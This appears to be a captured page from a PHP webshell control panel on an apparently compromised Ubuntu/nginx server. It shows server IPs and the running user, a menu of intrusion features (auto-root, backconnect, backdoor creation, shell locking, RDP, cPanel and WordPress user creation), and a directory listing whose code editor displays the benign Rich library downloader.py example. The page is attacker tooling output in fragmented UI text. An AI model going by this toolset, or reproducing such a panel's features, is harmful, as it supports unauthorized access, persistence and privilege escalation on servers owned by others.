Linux ubuntu 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
nginx/1.24.0
: 67.217.245.49 | : 216.73.216.153
Cant Read [ /etc/named.conf ]
8.3.6
www-data
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python3-rich /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
README.md
264
B
-rw-r--r--
attrs.py
1.01
KB
-rw-r--r--
bars.py
417
B
-rw-r--r--
columns.py
748
B
-rw-r--r--
cp_progress.py
571
B
-rw-r--r--
downloader.py
2.21
KB
-rw-r--r--
dynamic_progress.py
3.93
KB
-rw-r--r--
exception.py
919
B
-rw-r--r--
export.py
1.65
KB
-rw-r--r--
file_progress.py
423
B
-rw-r--r--
fullscreen.py
5.36
KB
-rw-r--r--
group.py
206
B
-rw-r--r--
group2.py
224
B
-rw-r--r--
highlighter.py
525
B
-rw-r--r--
jobs.py
957
B
-rw-r--r--
justify.py
349
B
-rw-r--r--
justify2.py
426
B
-rw-r--r--
layout.py
1.09
KB
-rw-r--r--
link.py
192
B
-rw-r--r--
listdir.py
1011
B
-rw-r--r--
live_progress.py
1.34
KB
-rw-r--r--
log.py
1.9
KB
-rw-r--r--
overflow.py
370
B
-rw-r--r--
padding.py
132
B
-rw-r--r--
print_calendar.py
1.87
KB
-rw-r--r--
rainbow.py
441
B
-rw-r--r--
recursive_error.py
324
B
-rw-r--r--
repr.py
589
B
-rw-r--r--
save_table_svg.py
846
B
-rw-r--r--
screen.py
357
B
-rw-r--r--
spinners.py
533
B
-rw-r--r--
status.py
307
B
-rw-r--r--
suppress.py
489
B
-rw-r--r--
table.py
693
B
-rw-r--r--
table_movie.py
4.46
KB
-rw-r--r--
top_lite_simulator.py
2.11
KB
-rw-r--r--
tree.py
1.71
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : downloader.py
""" A rudimentary URL downloader (like wget or curl) to demonstrate Rich progress bars. """ import os.path import sys from concurrent.futures import ThreadPoolExecutor import signal from functools import partial from threading import Event from typing import Iterable from urllib.request import urlopen from rich.progress import ( BarColumn, DownloadColumn, Progress, TaskID, TextColumn, TimeRemainingColumn, TransferSpeedColumn, ) progress = Progress( TextColumn("[bold blue]{task.fields[filename]}", justify="right"), BarColumn(bar_width=None), "[progress.percentage]{task.percentage:>3.1f}%", "•", DownloadColumn(), "•", TransferSpeedColumn(), "•", TimeRemainingColumn(), ) done_event = Event() def handle_sigint(signum, frame): done_event.set() signal.signal(signal.SIGINT, handle_sigint) def copy_url(task_id: TaskID, url: str, path: str) -> None: """Copy data from a url to a local file.""" progress.console.log(f"Requesting {url}") response = urlopen(url) # This will break if the response doesn't contain content length progress.update(task_id, total=int(response.info()["Content-length"])) with open(path, "wb") as dest_file: progress.start_task(task_id) for data in iter(partial(response.read, 32768), b""): dest_file.write(data) progress.update(task_id, advance=len(data)) if done_event.is_set(): return progress.console.log(f"Downloaded {path}") def download(urls: Iterable[str], dest_dir: str): """Download multiple files to the given directory.""" with progress: with ThreadPoolExecutor(max_workers=4) as pool: for url in urls: filename = url.split("/")[-1] dest_path = os.path.join(dest_dir, filename) task_id = progress.add_task("download", filename=filename, start=False) pool.submit(copy_url, task_id, url, dest_path) if __name__ == "__main__": # Try with https://releases.ubuntu.com/20.04/ubuntu-20.04.3-desktop-amd64.iso if sys.argv[1:]: download(sys.argv[1:], "./") else: print("Usage:\n\tpython downloader.py URL1 URL2 URL3 (etc)")
Close